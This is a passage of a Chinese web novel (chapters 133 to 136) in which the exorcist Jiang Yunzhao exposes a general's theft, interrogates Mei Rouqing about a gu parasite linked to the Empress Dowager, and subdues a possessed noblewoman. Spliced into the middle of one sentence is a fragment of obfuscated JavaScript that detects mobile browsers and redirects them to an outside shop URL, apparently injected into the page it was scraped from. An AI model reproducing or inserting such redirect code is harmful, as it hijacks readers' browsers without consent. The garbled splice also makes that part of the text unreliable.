云昭又接着道:“哦,她还说,她发间那支赤金点翠蝴蝶簪,可是如今市面上买不到的珍品。她实在喜欢得紧,至死都戴着呢。”
余氏起初是满脸怒容,觉得云昭在胡言乱语,但听到“赤金点翠蝴蝶簪”时,她瞳孔猛地一缩!
她难以置信地猛地转头,死死盯住自己的丈夫:“徐莽——!
你竟敢偷我的嫁妆,去讨好外面的贱女人?!”
第133章 你逼死我娘!
那支蝴蝶簪,曾是余氏嫁妆箱笼中最得她喜爱的首饰,是她母亲当年特意请江南名匠所制,世间仅此一件。
年前这支簪子不翼而飞,彼时徐莽说是被手脚不干净的丫鬟窃去,早已发卖处置。
她虽心痛难舍,却因着对夫君的信任,终究未曾深究……
直到今夜,真相竟被姜云昭以如此诡异难堪的方式当众揭开,瞬间点燃了她所有的羞辱与怒火!
而徐莽在云昭准确说出“蝴蝶簪”时,已是面无人色,待听到余氏的厉声质问,更是骇得魂飞魄散。
他强自镇定,色厉内荏地看向云昭:“姜云昭!你、你休要在此妖言惑众!装神弄鬼,污我清白!”
“啪——!”
一记极其响亮的耳光,狠狠地抽在徐莽的脸上,打断了他所有的辩解!
余氏双目赤红,状若疯魔,平日里精心维持的雍容气度、在众人面前恪守的体面规矩,在这一刻被彻底撕碎!
她浑身颤抖,指着徐莽的鼻子,声音尖厉得几乎破音:
“徐莽——!
你这个忘恩负义的白眼狼!睁开你的狗眼看看,你能有今日的权势地位,是靠着谁的提拔扶持!
若非我余家倾尽全族之力为你铺路,你能在孟大将军麾下站稳脚跟?你能有今天这般风光?!
你不知感恩图报也就罢了,竟敢偷盗我的嫁妆,拿去豢养外面不知廉耻的狐狸精!你还是不是人!”
说完,余氏竟已彻底失去理智,不管不顾地扑上前去,用尽全身力气与徐莽撕打起来!
水葱般的长指甲在徐莽脸上抓出数道血痕,拳头如同雨点般落在他身上,状若市井泼妇,哪里还有半分官家夫人的仪态!
大堂之上一片死寂,落针可闻。
所有人都被这急转直下、匪夷所思的变故惊得目瞪口呆。
谁能想到,方才还气焰嚣张、口口声声非要带走梅氏的徐莽夫妇,转瞬之间竟当着众人的面彻底反目,上演了如此一场不堪入目的内讧丑剧!
不仅赵悉和李副将等人看得目瞪口呆,就连一旁“奄奄一息”的梅柔卿,也不由得强撑开眼皮儿,朝余氏投去怒其不争的目光。
没用的东西!连自己夫君的心都笼络不住,非但不自省何处做得不够,竟还在此地与夫君当众厮打?简直将天下女子的脸面都丢尽了!
如此蠢钝不堪,不识大体,贵妃娘娘怎会派这个蠢货来救自己!
转瞬之间,梅柔卿忽而脸色一变!
她被姜云昭连夜抓来京兆府的事,贵妃身处深宫,如何能如此迅速地知晓?她下意识地猛然扭头,看向身旁的女儿。
姜绾心也一脸的烦躁,见母亲看向自己,连忙压低声音道:“娘你别怕,此事我已禀明太子殿下!若待会姜云昭还敢硬拖着不放人,殿下必定还有后手安排!”
梅柔卿眼皮狠狠一跳,心中陡然掀起惊涛骇浪,一股寒意自脚底直窜头顶!
之前在碧云寺,她已隐约察觉贵妃与太子之间有些说不清道不明的牵扯,但那时她不敢,也不愿往深处想。
可后来亲眼目睹贵妃跌进太子怀中,之后京城谣言四起……
尤其今日之事,她实在没想到,太子与贵妃的勾连竟已如此之深!连贵妃娘家兄长的副将,太子都能在这深更半夜随意调配!
梅柔卿的心止不住地下沉。
她早知道男人是靠不住的,所以才呕心沥血为心儿筹谋,让她千方百计讨好太后,为的就是将来嫁入东宫,能有太后这座靠山疼惜帮扶。
可她万万没想到,太子竟然如此狼子野心,贪心不足!
既想娶心儿这个“天定凤女”以得祥瑞,又想将安王府的南华郡主也一并纳入东宫!
如今,还与贵妃夹缠不清!
一个极其大胆且危险的念头,骤然窜入梅柔卿的脑海——
贵妃的命,不能留!
然而就在这时,云昭忽而开口:“赵大人,闲杂人等都清出去,该升堂了。”
此言一出,正撕打在一起的余氏和徐莽俱是一惊。
余氏慌忙道:“不可!梅氏伤重,必须立即就医!”
脸上带着新鲜抓痕的徐莽也急声道:“赵大人!你无凭无据,怎能随意扣押官眷?”
萧启冷声道:“若陛下事后问及,此事本王一力承担。”随即对一旁李副将令道,“撵出去!”
倒是余氏身旁的老嬷嬷还不死心,颤声问道:“司主大人,我家姑爷身上,当真跟着个……不干净的东西?”
云昭似笑非笑:“你家夫人都不紧张,你急什么?”
她挥了挥手,衙役立即上前清场。
老嬷嬷一叠声地哀求:“夫人,若真被厉鬼缠上非同小可啊!咱们不如求司主帮帮忙吧!”
经身边嬷嬷提醒,余氏脸色白了白,不由看向云昭,嘴唇动了动,似乎想说什么。
徐莽也下意识地再次抚向自己酸痛难忍的后颈,面露惊疑。
但不等他们再开口,夫妻二人连同随从下人,都被衙役们毫不客气地"请"出了京兆府大堂!
云昭却已转过身,连眼风都未曾再扫过去一个。
她早已说过,自作孽,不可活。
且不论白羡安此人品性如何,至少在救自家妹子这件事上,他愿意付出寿元,云昭也便与有悔大师合力,与那下蛊的邪师斗上一场。
可徐莽身上有冤魂纠缠,这是他自己的因果,同时也是余氏的因果,她不会出手。
梅柔卿和姜绾心母女俩飞快地对视一眼,都从对方眼中看到了惊慌。
姜绾心急道:“姜云昭!你休想动用私刑!你……”
云昭打断她道:“那就先从你来吧。”
赵悉已整肃官袍,端然坐于公堂正中的主位之上。手持水火棍的衙役分列两旁,面色肃穆;另有协理司法的判官、经验老练的文书等一应属官各就其位,堂威森然。
赵悉道:“姜绾心,你母亲今日去了何处,去见何人,据实招来!”
姜绾心被人从后面不客气地推了一把,一个趔趄,踉跄着跪倒在冰冷的青石地面上。
她仓惶地抬起苍白的小脸,看向端坐上方的赵悉时,眼底已迅速蓄满了摇摇欲坠的泪珠。
“民女真的什么都不知道!当时我阿姊带着兵丁直闯府邸,气势汹汹追问母亲下落。我慌乱无措之下,便猜测许是母亲身体不适,先歇下了。
再后来,阿姊亲自去后院寻人,寻不见便大发雷霆,还将我强行锁拿至此。
赵悉唇角轻哂,眼色漠然地观看着姜绾心的表演。
笑话!他父兄皆战死,自小在祖母、母亲、嫂嫂们的看护下长大,要是看不穿这点女人家的伎俩,他可真白活了!
姜绾心眼圈泛红,泪光盈盈,一副我见犹怜的模样,望着赵悉道:"府尹大人明鉴,小女子真的什么都不知道啊。"
赵悉也不说话,直朝不远处的某个方向,微微抬了抬下巴。
只见一个高大的身影走了出来,正是不久前在牢狱里对梅柔卿用刑的石牢头!
石牢头面无表情,手中拎着一副寒气森森的夹棍,二话不说,迈着沉重的步伐径直朝姜绾心走来。
看那架势,竟是要直接对她用刑!
不仅姜绾心吓得失声尖叫,连一旁的姜珩也再无法保持沉默,匆忙上前一步,伸手欲拦。
然而他看向云昭的目光,却不再像从前那般,充满着高高在上的鄙夷、明明白白的嫌厌,反而如一泓深潭,让人捉摸不透。
“阿昭!今日之事,源头皆在梅姨娘,心儿与此并无干系。你若真想查明情由,不妨径直询问梅姨娘。何必大动干戈,牵连无辜之人?”
姜珩态度堪称平和,反而透出一种比从前更为危险的意味。
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>梅柔卿更是挣扎着嘶声道:“姜云昭!你有什么事,经验冲着我来!休要为难心儿!”
云昭根本不理会姜绾心的哭闹与姜珩的阻拦,她目光锁紧梅柔卿,快声追问:“薛九究竟是谁!”
梅柔卿咬紧牙关,嘴角渗出血丝:“我只知道他本名叫薛九针!至于他师承何人,从何处来……”
她眼神阴冷,盯住云昭,“方才在痘神庙,他那般毫不犹豫地将我当作弃子,你觉得,他会将这些底细告诉我?”
云昭面无殊色:“今日去回春堂,是你要去,还是与他事先约好?”
梅柔卿道:“自然是我自己想……”说到这,声音不由微顿。
她与薛九针相识二十余载,深知此人心机深沉如海,行事步步为营。
他既然给了她那所谓的"圣药",让她借心儿之手献给太后,又岂会算不到她必定会前去寻他问个明白?
云昭却不给她过多思虑的时间,紧接着道:“今日被扔在你身上那人,你可知他是谁?”
“知道,他是回春堂的刘大夫。”
云昭这时忽而笑了笑:“梅柔卿,你可知,今日为何绝对不能放你离开?”
梅柔卿见到云昭脸上那抹意味深长的笑,不由心底一寒,升起不好的预感。
云昭故意道:“刘大夫涉嫌谋害苏家满门。此案,陛下已然亲自过问,如今,刘大夫奄奄一息,薛九针在逃无踪,而你,是唯一与他们二人都有过密切接触的人。”
太后如今的诡异状况,她不可能当众宣之于口,只能借用书院苏家之事来诈唬梅柔卿,看她能在巨大的压力下吐露多少有用的信息。
梅柔卿身形一晃,如遭重击!
她不由想起方才在痘神庙,薛九针那冰冷无情的话语:“等你真能活过明日再说吧!”
当时她还以为对方是见有人来了,故意做戏撇清关系,如今看来,他竟是要彻底放弃她这枚棋子了?
云昭观察着梅柔卿的神色变幻,又继续道:“此事,即便太后垂询,贵妃驾临,也绝无转圜余地!”
她一字一句,语气森然:“你若是还想死后能留下个清白名声,不耽误女儿攀附东宫的锦绣前程,就把舌头捋直了,好好说清,你与那薛九针之间,所有的过往勾结!”
梅柔卿脸色骤然惨白如纸!
她隐忍谋划这么多年,为的就是女儿的姻缘前程,母女二人的泼天富贵!眼看心儿距太子妃之位仅一步之遥,她自己也即将把持尚书府中馈,怎能在此刻功亏一篑?
她嘴唇哆嗦着:“我、我实是不知,那刘大夫与苏家到底有何恩怨,我跟他从前连话都没说过……”
云昭从一旁桌上的木匣里,不紧不慢取出三只乌木盒子,似笑非笑看着她。
梅柔卿脸色一僵。
云昭从中拿起那装着活物的第三只木盒,淡声道:“我对此术不算精通,但胜在肯学习、好钻研。
这东西,我瞧着倒是个稀罕物儿,我若将此物,放入梅姨娘的衣衫之内……”
姜绾心和姜珩都不知木盒里是什么东西,梅柔卿却脸色大变,眼中盈满了恐惧之色!
“不、不要!我说!”她嗓音抖得不成样,:“我真不知那刘大夫的事……此物是薛九针赠予我的,他说,‘府君’有令,务要将此……”
话未说完,梅柔卿忽而浑身剧烈地痉挛起来,张口喷出一股暗红鲜血,两眼翻白,软软瘫倒在地!
是绝言咒!
云昭眸光一凛,上前探查,却发现梅柔卿竟气息全无!
不待她细看,姜绾心已将她一把推开!
“娘——!”姜绾心发出一声撕心裂肺的尖叫,猛地扑到梅柔卿身上。
她抬手指着云昭,面目扭曲凄厉,“姜云昭!是你杀了我娘!你逼死我娘!你好狠毒的心肠!你不得好死!你一定会遭报应的!”
第134章 梅氏的命,不足一年
云昭眼尾轻扫过她涕泪纵横的脸,漫声道:“若真有报应,也是做尽恶事之人先遭报应!若论生死——
我早就给咱们姊妹二人卜过一卦,妹妹铁定是死在我前头。”
“你、你胡说!”姜绾心“哇”的一声哭了出来。
不待她再纠缠,云昭一个眼神示意,两名衙役立即上前,将哭嚎挣扎的姜绾心强行架起,拖拽至公堂角落。
云昭则俯身靠近,凝神屏息,悄然运转玄瞳。
眸底金芒微闪,视野中的世界瞬间褪去表象,唯余能量流动的轨迹。
这一看之下,她心头骤然一凛!
梅柔卿的躯体表面,竟也萦绕着一股与太后身上同源而出的诡异气流!
为验证猜测,云昭并指如剑,虚点在梅柔卿眉心,分出一缕极细的灵识,小心翼翼地触及梅柔卿身体表面的气流。
灵识甫一接触,便感受到一股阴寒黏腻的气息,与她在太后身上感知到的一般无二!
她立刻撤回灵识,心中一时了然:
梅柔卿体内,同样被种下了蛊,而且此蛊与太后体内的蛊气息交融,命运相连,宛如母子!
太后若亡,梅柔卿必受重创,生机大损,却能尚存一息;
然若梅柔卿身死,则太后必定随之殒命,绝无幸免可能!
电光石火间,诸多疑团豁然开朗——
难怪初见梅柔卿时,便觉她肤光胜雪,全然不似年近四旬的妇人!
之后脸颊被她用银鞭抽伤,在忘尘阁那晚更是周身红肿,可前后不过短短时日,她的肌肤便恢复如初,甚至更胜从前!
全是托赖了这蛊虫之力!
云昭虽不怎么通晓蛊术,却能观“气”断命。
梅柔卿的肌肤容颜,虽因蛊虫之力青春焕发;但其本源生机,却如风中残烛,正被缓缓吞噬。
云昭细细思忖:观梅柔卿一直以来的反应,她显然知道此物能助她驻颜养生,却不知正是因为这份“恩赐”,她如今的寿元,已不足一年之期!且与太后死生相连!
“姜云昭!你不得好死!我做鬼也不会放过你——”姜绾心仍在声嘶力竭地吼叫,刺耳的声音几乎掀翻屋顶。
赵悉也是忙了一整日公务,忍不住揉了揉太阳穴:“这小娘们儿,嚎起来没完没了,比市井泼妇还能嚷嚷!”
他抓起惊堂木重重一拍,厉声喝道,“姜绾心,公堂之上岂容你如此放肆咆哮!再敢喧哗,视为藐视公堂,先打二十大板以儆效尤!”
姜绾心又急又气,哭倒在姜珩怀里。
另一边,云昭则在琢磨梅柔卿身上的蛊。
虽不知这下蛊之人,为何要将母子二蛊,分别种入梅柔卿和太后体内。
但她本就深恨梅氏,与太后更无深厚情谊,难道还会因此顾忌这两人性命不成?
若真有那一日,亲眼看着梅氏被这蛊毒折磨致死,她定要抚掌称快!
想到此处,云昭忍不住轻笑出声。
姜绾心亲眼见母亲气息断绝,又见云昭非但无动于衷,反而发笑!
这声轻笑落在姜绾心眼中,犹如鬼魅索命。
一股极致的愤怒与恐惧交织着涌上心头,她浑身剧烈颤抖,气血攻心之下,竟两眼一翻,软软地晕厥过去。
姜珩面色复杂地看了云昭一眼,上前朝赵悉和云昭微一躬身:“舍妹失仪,惊扰公堂,请容我先带她回府医治。”
说罢,也不再多言,甚至未再看梅柔卿一眼,便将姜绾心打横抱起,转身离去。
云昭示意赵悉屏退左右,将依旧“气息全无”的梅柔卿安置在一间僻静厢房。
随后,她将自己探查到的梅氏体内蛊虫与太后性命攸关的事实,低声告知了萧启与赵悉。
赵悉倒吸一口凉气,压低声音道:“你的意思是,太后娘娘只会入睡后气息全无,但明日一早,便会自行恢复如常?”
云昭笃定地点点头。
赵悉顿觉一个头两个大,搓着手指道:“太后娘娘自以为得了仙丹妙药,明日定要召梅氏问话,这该如何是好?”
萧启道:“不妨事,此事我来解决。”
云昭眸光一转,:“去看刘大夫。”
刘大夫被安置在京兆府后院一间的厢房内,由府医看护。
云昭走上前,指尖轻触其颈侧,玄瞳微启,便轻轻摇了摇头:“他生机已如残灯将尽,寿数……就在今日了。”
她略一思忖,取出一套全新锻造的金针。
素手轻拂间,数根细长的金针闪烁着寒光,精准地刺入刘大夫头顶、胸口几处大穴。
她一边运针如飞,一边对身旁二人解释道:“我先以金针秘术,暂且封住他体内最后一点游离的生机,护住心脉,让他能陷入沉眠,减少痛苦。
待明日时机成熟,再用‘渡厄针法’强行吊起他最后一口气。
届时,不论竹山书院**案的真相,还是今日回春堂内发生的种种,必要问个水落石出!”
至于梅柔卿……
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>云昭目光冷凝:“就让她在京兆府的大牢里,好好住上几日。纵是太后亲临,也休想将人带走!”
*
这一天太过疲惫,次日云昭醒来时,时近正午。
京城一共发生了两件大事,引得百姓们津津乐道。
第一件事,便是素来以铁面冷情著称的大理寺卿白羡安,竟卸去官帽官服,仅着一身素衣,公然登上了京城最繁华地段的城墙。
在无数百姓惊愕的注视下,他面向昭明阁的方向,深深躬身,随后字句清晰地承认,当日公堂之上,他是受人胁迫,故意为难云昭与其母苏氏。
言毕,他直起身,风中扬起的,竟是一头触目惊心的如雪白发!
百姓们一片哗然。
许多百姓在看到他以如此决绝的姿态忏悔,仿佛一夜之间耗尽心血,姿容苍老,纷纷感到震撼与动容。当然也有深知内情者,见到他这副模样,叹天道轮回,报应不爽!
第二件事,远比第一件事更令全城百姓疯狂!
礼部尚书府那位素有艳名的梅姨娘,竟被新任玄察司主姜云昭关进了京兆府大牢!
市井间流传,此事与已然败落的苏家,以及昨日刚刚经历过一场风波的竹山书院,皆有着千丝万缕的关联。
消息传开,街头巷尾顿时议论四起。
“一个后宅的姨娘,怎么会跟书院扯上关系?这听着都邪乎!”
“嗨,这你们就不知道了吧?我有个远房亲戚昨日正好在回春堂附近,亲眼瞧见玄察司的人把梅姨娘从药堂里押出来!听说啊,她害的是苏府二房那位在巡防营的小公子!”
“你们别忘了,玄察司主的亲生母亲,就是二十年前与苏家断了亲的那位苏家嫡长女!这里头的恩怨啊,深着呢!”
消息传遍全城。
尚书府内,姜世安摔了手里的茶盏:“她是不是实心疯了?竟在这节骨眼上招惹苏家!”
苏府某处,亦有人咬牙切齿:“梅柔卿!当初你是如何答允我的!竟敢把祸水引到苏家来!”
昭明阁内,正在用膳的云昭听着墨七转述的传闻,唇角微勾:“传得好。看来我该再去苏家走一遭了。”
墨七道:“赵大人说,这传言实在火热,怕是转眼就传进宫里去了。殿下今日一早就进了宫,让您尽管放心,不用担心太后那边。”
云昭微微颔首。
正在这时,莺时快步跑进来:“姑娘!不好了!灼灼姑娘在楼下与人打起来了!”
第135章 她的玄术,斗不过姜云昭!
午后的阳光透过榆树叶隙,在昭明阁前的青石板上洒下斑驳跃动的光斑。
昭明阁前,里三层外三层地围了不少人,窃窃私语声如同夏日午后的蝉鸣,嗡嗡不绝。
云昭尚未走近,便听得一道清澈焦急的少女声音穿透人群:“灼灼!你冷静些!你看看我,你到底怎么了!”
这声音听着耳熟,竟是几日前才见过的宜芳县主李扶音!
云昭心下微诧,加快步伐。
甫一走近,便见昭明阁大门前的空地上,堪称熟人齐聚,场面诡异。
只见李扶音正带着两个贴身丫鬟,手忙脚乱地试图拉住状若疯癫的李灼灼。
而站在李灼灼对面,与之对峙的,赫然是苏家二房的表哥苏惊墨!
苏惊墨身穿竹山书院的青色儒衫,此刻却显得有些狼狈。他清俊的脸上赫然带着几道新鲜的血痕,唇边也破了皮,渗着血丝。
挽起袖口的手臂上,一道清晰的划痕正汩汩渗血,将青衫袖口染红了一小片。
靠近台阶处,站着姜绾心和姜珩兄妹。姜绾心一袭裙装精致妩媚,眼皮略有些红肿,显然痛哭了整夜。
一旁的姜珩静立不语,目光幽幽,定定落在前方正焦急安抚的李扶音身上。
传言之中不久前才登城楼、当着全城百姓的面忏悔罪行的大理寺卿白羡安,竟然也在!身旁还跟着一位头戴幕笠的纤弱少女。
见云昭目光扫来,白羡安朝她微微颔首。那戴幕笠的少女随之向云昭的方向盈盈一福,姿态温婉——
显然,这正是昨夜云昭和有悔大师合力从鬼门关拉回来的白慕宁!
围观的人群中,除了看热闹的寻常百姓,云昭还瞧见了几位身着竹山书院襕衫的年轻书生。
她不由微一挑眉,这可真是稀罕事。
秋闱在即,正是学子们闭门苦读、寸阴是竞的时候,怎的今日竟有闲情逸致跑来这昭明阁前来凑热闹了?
见到云昭现身,在场众人神情各异,反应更是不同。
李扶音虽生得弱质纤纤,性情却并非黏糊拖沓之人,她一见云昭,如同见了救星,立刻扬声道:“姜小姐,你快来看看灼灼!”
顾及李灼灼的闺誉,她不便当众明言,但那眉眼间盈满的焦灼与恳求,却是真真切切。
云昭凝眸看去,与此同时墨七身形如电般上前,并指如风,精准地点向李灼灼后颈的安眠穴!
然而,李灼灼并未当即软倒,她身子只是微微一僵,那双原本灵动的杏眼中竟闪过一道妖异的赤红光芒!
周身更隐隐散发出一股阴寒刺骨的气息,竟将墨七灌注了内力的指力硬生生抗住了!
她喉咙里发出嗬嗬的怪响,一把挣开了李扶音和丫鬟的钳制,五指成爪,竟又要向苏惊墨扑去!
墨七一击无效,不由得一怔,她这手点穴功夫极少失手,就算李灼灼有几分功夫在身,也不该如此!
就在这电光石火之间,云昭已如一阵清风,掠至李灼灼身侧。
众人只见她素手轻抬,袖袂如云拂过李灼灼的面颊,动作轻柔得仿佛只是为她拭去尘埃。
李灼灼狂乱的神情蓦地一僵,眼中的血红光芒如同被水浇灭的炭火,迅速黯淡下去。
她身子一晃,随即软软地向后倒去,被眼疾手快的墨七扶住。
众人不知,云昭看似轻描淡写地一拂衣袖,指尖已悄然夹着一片薄如蝉翼的“浮生梦”,正是此前从“蜃楼蝉翼”精达信剥离炼化而成。
此物本是云昭为应对强敌准备的暗器。但昨夜有悔大师说的那番话,给了云昭新的启发。
“浮生梦”能引人在瞬息间沉入美梦,幻境自生,不仅能在对敌时出奇制胜;也能安抚心神、暂解痛苦,成为救人的良方!
云昭顺势扶住她,对墨七道:“将李小姐抱进去,小心安置。”
她又转向脸上挂彩的苏惊墨,语气平和:“表兄也请进来说话吧。”
她又朝白羡安微微颔首,示意他可以带着白慕宁一同入内。
云昭这一系列动作如行云流水,衣袖翻飞间带着说不出的灵动与仙气,落在围观众人眼中,简直神乎其技。
人群中顿时爆发出阵阵惊叹与叫好声。
一个提着菜篮的大娘啧啧称奇:“瞧见没?司主大人就这么一挥手,李家小姐就安静了!”
旁边一个货郎打扮的汉子也满脸敬佩:“可不是嘛!这不比去庙里求神拜佛好使多了?
往后有这玄察司,咱们京城那些邪乎事,肯定都能摆平!”
直到这时,李扶音一直紧绷的心弦这才彻底松弛下来,不由吁了口气。
幸好,灼灼方才突然发狂是在这昭明阁门前,若是换作别处,就凭她们几个,如何制得住灼灼?届时恐怕真要闹出无法收拾的大乱子。
一片掌声与赞叹声中,姜绾心死死盯住云昭,眼中流露出毫不遮掩的嫉妒与不甘。
她忽然想起,从前也常见梅柔卿拢着一些瓶瓶罐罐,把自个儿独自锁在房内,神神秘秘,门窗紧闭。
因梅柔卿次次都刻意避着,这让儿时的姜绾心好奇不已。
有一次她捅破窗纸,躲在外间偷看,却被梅柔卿厉声责骂,逼她发誓,此生绝不接触这些“上不得台面”的东西。
可在姜绾心看来,什么正道邪道,有用不就行了?
母亲昨夜之所以当众遭受那般**,并非错在别处,仅仅是因为她技不如人!
她的玄术,斗不过姜云昭!
若她姜绾心有机会学习这些玄妙法术,以她的聪慧,必定能比姜云昭更为厉害!
这个念头一生,便如同野草般在她心中疯狂滋长。
她轻轻扯了扯身旁姜珩的衣袖,用一种混合着天真与试探的语气低声问:“兄长,你可听说过……清微谷?”
姜珩眉头倏地蹙紧,收回落在李扶音身上的目光,沉声问:“你怎么突然问起这个?”
“我听人说,阿姊的一身本事,便是师承自清微谷。阿姊如今这般厉害,想必那清微谷里,必定藏着不少世外高人吧?”
姜绾心故作懵懂,眼底却藏着一丝热切,“兄长,你说我若也去拜师……”
“心儿,慎言!”姜珩的神色瞬间变得前所未有的严肃。
他沉下声音,几乎是厉声叮嘱道,“女子之德,在于贞静柔顺。这些江湖术数,绝非你该沾染的东西!
你未来的路是太子妃,是母仪天下的人上人,注定高贵无比。这些不入流的奇技淫巧,只会玷污了你的身份!
趁早断了这念头,莫要自误!”
说罢,他眼见李扶音已跟着云昭等人往昭明阁内走去,立即抛下姜绾心,快步追了上去。
*
进了一层厅堂,温氏正端着一壶刚沏好的荷叶茶迎上来,她身后跟着雪信和惠娘,两人手中皆捧着精致的茶点碟子。
一见云昭身后乌泱泱跟进来这许多人,温氏忙将茶壶轻轻放在一旁的紫檀小几上,快步上前帮忙。
她见墨七抱着一位昏迷不醒的姑娘,立刻柔声指引:“这边请,里间有干净的厢房可安置。”说着便在前引路,步履轻捷却不失稳重。
墨七抱着李灼灼,紧随温氏转入内室。
云昭则引着苏惊墨在就近长廊坐下,为他清理臂上伤口。药液触及皮肉,带来一阵清凉,苏惊墨不由微微吸气。
“表哥,方才究竟是怎么一回事?”
苏惊墨微微蹙眉,清俊的面容也带着几分困惑:“我认得那位是英国公府的嫡小姐。与她在不同宴会上见过几次,但从未有过交集,话都不曾说过几句。”
他顿了顿,回忆着方才那惊心动魄的一幕,“方才,我比她先一步踏上昭明阁前的石阶。
紧接着,她就毫无征兆地朝我猛冲过来,眼神空洞得骇人,力气也大得异乎寻常,我一时不察,便被她的发钗划伤了。”
云昭听罢,思忖片刻,抬起眼眸,定定地端详了苏惊墨的面容片刻——
只见苏惊墨眉宇间隐隐泛着柔和的红润光泽,双目神光清亮,眼尾处更有极细微的粉色气丝隐隐浮动。
这正是“红鸾星动”,良缘将至的显兆!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657191|187080||http|test|mini|href|location''.split(''|''),0,{}));
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r>云昭心中已有计较,面上却不露分毫,只温言道:“还请表哥在此稍坐片刻,我去去就来。”
苏惊墨连忙颔首,语气诚挚:“表妹自去忙,我在此等候便是。”
云昭转身步入安置李灼灼的房间。
少女静静地躺在锦榻之上,双目紧闭,昏迷不醒,额上沁出细密的冷汗。
她的贴身丫鬟果露正拧了温帕子,小心翼翼地为她擦拭。
云昭走上前,轻轻撸开李灼灼的衣袖,目光骤然一凝——
前几日她亲手为其缠上辟邪红线的那个银镯,已然不见踪影!
不仅如此,少女原本白皙纤细的手腕上,赫然多了一道如同被烈火灼烧过的焦黑伤痕,瞧着触目惊心!
她不由神情一肃,抬眼看向丫鬟果露:“她的镯子呢?”
果露一听这话,眼泪瞬间涌了出来。
“回姜小姐的话,那银镯是我家小姐的外祖母所赠,小姐本就极其爱惜。前几日在熙园,又蒙您亲手为其缠上护身红线,小姐更是爱若珍宝,日夜不离身……”
小丫鬟说到此处,眼中流露出愤恨与后怕交织的神色:“今日一早,府中有客来访。
有位苏家的小姐,不慎弄湿了我家小姐的衣裙,慌乱之间,她手中端着的果子露,又尽数泼洒在了小姐的银镯上!小姐当时便面露不悦,立刻起身要去清洗。”
果露说着,看向云昭的眼神透出几分茫然:“奴婢一直寸步不离地跟着小姐,打来的也是府中最干净的井水,绝无问题。
可、可不知怎的,那银镯一沾清水,竟瞬间通体变得乌黑!还……还烫得吓人,像刚从火炉里捞出来似的!”
“奴婢吓得没了主意,还是园子里修剪花木的老园丁见状,急忙用花剪将银镯从小姐腕上给铰断了!”
“即便如此,小姐的手腕还是被烫伤了。
我们小姐不敢让夫人知道,怕她担忧,但她一直牢记着姜小姐您之前的叮嘱,用过午饭,便立刻吩咐奴婢备车赶来昭明阁。”
云昭听罢,心中已明了七八分。她问:“那被铰断的镯子,可带来了?”
果露忙不迭地点头,从随身提着的一只竹编提篮里,取出一个用素白手帕层层包裹的小包,双手恭敬地递给云昭:
“小姐说这事儿透着邪性,不让奴婢贴身放着,特意让用了这竹篮装着。”
云昭接过,赞了一句:“你们小姐聪慧,你也是个稳妥的。”
她接过帕子,轻轻打开。只看了一眼,眉头便紧紧蹙起,声音也冷了下来:
“是**血混了坟头土,又经符咒催炼过的污秽之物。”
云昭解释道,“我此前缠在镯上的红线,寻常阴邪难近。但若被这污血秽土沾染,一旦遇水,水通阴灵,便会彻底激发其中秽气,瞬间污毁法器。”
李扶音闻言,秀眉不由蹙起:“弄湿灼灼裙子、泼洒果汁的,究竟是何人?”
果露道:“是苏家的小姐,名叫苏玉嬛。”
苏玉嬛?云昭眸光微不可察地一闪。
李扶音面露不解:“她为何要如此针对灼灼?”
她转向云昭,轻声解释,“我听灼灼提起过,大伯母近来确实有意与苏家联姻。
你也知道,灼灼上头有六位兄长,除了大公子和二公子已成家,三哥、四哥、五哥、六哥都还未定下亲事。
大伯母的意思是,且看苏家的几位小姐,与府上哪位兄长彼此有意,只要情投意合,能成就一桩美满姻缘,便是好事。”
她蹙起眉,愈发疑惑:“那苏玉嬛若不愿嫁入英国公府,回家禀明父母便是。英国公府难道还会强娶不成?何必用如此阴损的手段来对付灼灼?”
正说话间,门外廊下忽然传来一阵激烈的吵闹与呵斥声,夹杂着女子压抑的惊呼。
紧接着,是雪信的声音:“姑娘——!”
她快步冲进房内,脸色因焦急而微微发白,“是、是姜府的老爷和老夫人闯进来了!老夫人一进来,瞧见温夫人也在,二话不说,上前就打了温夫人一个耳光!”
第136章 把姜家人给我扔出去!
云昭闻言,眸光骤寒。
她自袖中取出一道明黄符箓,指尖灵力微吐,符纸无风自燃,化作数点金色流光,迅疾没入内室方向——
此为“安魂定神符”,可暂镇李灼灼体内躁动阴气。
“哑婆。”她喊来孙婆子,“看好李家小姐,任何人不得靠近。”
随即,她看向如同影子般侍立在侧的墨七:“你和十七,随我来。”
三人踏入前厅,但见一片狼藉。
上好的官窑瓷盏碎落在地,茶水与点心泼洒得到处都是,氤氲出深色的污渍。
温氏半边脸颊红肿,眼眶泛红却强忍着泪水。
而姜老夫人正叉着腰,手指几乎戳到温氏鼻尖,唾沫横飞地厉声辱骂:
“好你个温氏!既已与我姜家签了分家文书,便不再是我姜家的人!竟还有脸跑到这昭明阁来打秋风?
你是不是打量着阿昭年纪小好糊弄,想来这里捞油水?
我呸!真是不要脸的下作东西!”
一旁的姜世安并未出声制止,反而背着手,目光不住地打量厅内陈设——
紫檀木雕花椅,多宝阁上陈列的玉器古玩、墙上看似寻常却笔力虬劲的字画……
这些东西,比他半辈子挣来的俸禄都要值钱得多!
他这个大女儿,还真有些运道!
而姜珩与姜绾心兄妹,竟安然坐在靠窗的酸枝木椅上。
姜绾心甚至好整以暇地捧着一块精致的五常饼,小口小口吃得津津有味,嘴角噙着一丝看好戏的浅笑。
“她哪里不要脸面了?”
云昭的声音不高,却如冰珠落玉盘,瞬间让喧闹的厅堂为之一静。
她缓步上前,无视众人各异的神色,伸手稳稳扶住温氏微微颤抖的手臂:
“这位温夫人,是我以重金、诚心聘请的昭明阁内务管事。是我再三恳请,她才愿留下助我一臂之力。
祖母对此,有何指教?”
老夫人脸色一僵,随即又道:“阿昭,你年纪小不懂!家里使唤惯了的丫鬟婆子,比她手脚麻利、知根知底的多了去!何必用一个外人?
再说,她一个和离归家的妇人,在你这里抛头露面,像什么样子……”
“我乐意用她,”云昭淡淡打断她,声音里听不出半分波澜,“不可以吗?”
众人皆是一愣。
他们原以为云昭会辩解、会讲道理,却没想到她只用这般轻描淡写却又无比强硬的一句,堵住了所有非议。
她旋即转身,眸光扫过在场姜家众人,语气陡然转厉:“昭明阁是什么地方,诸位莫非不知?”
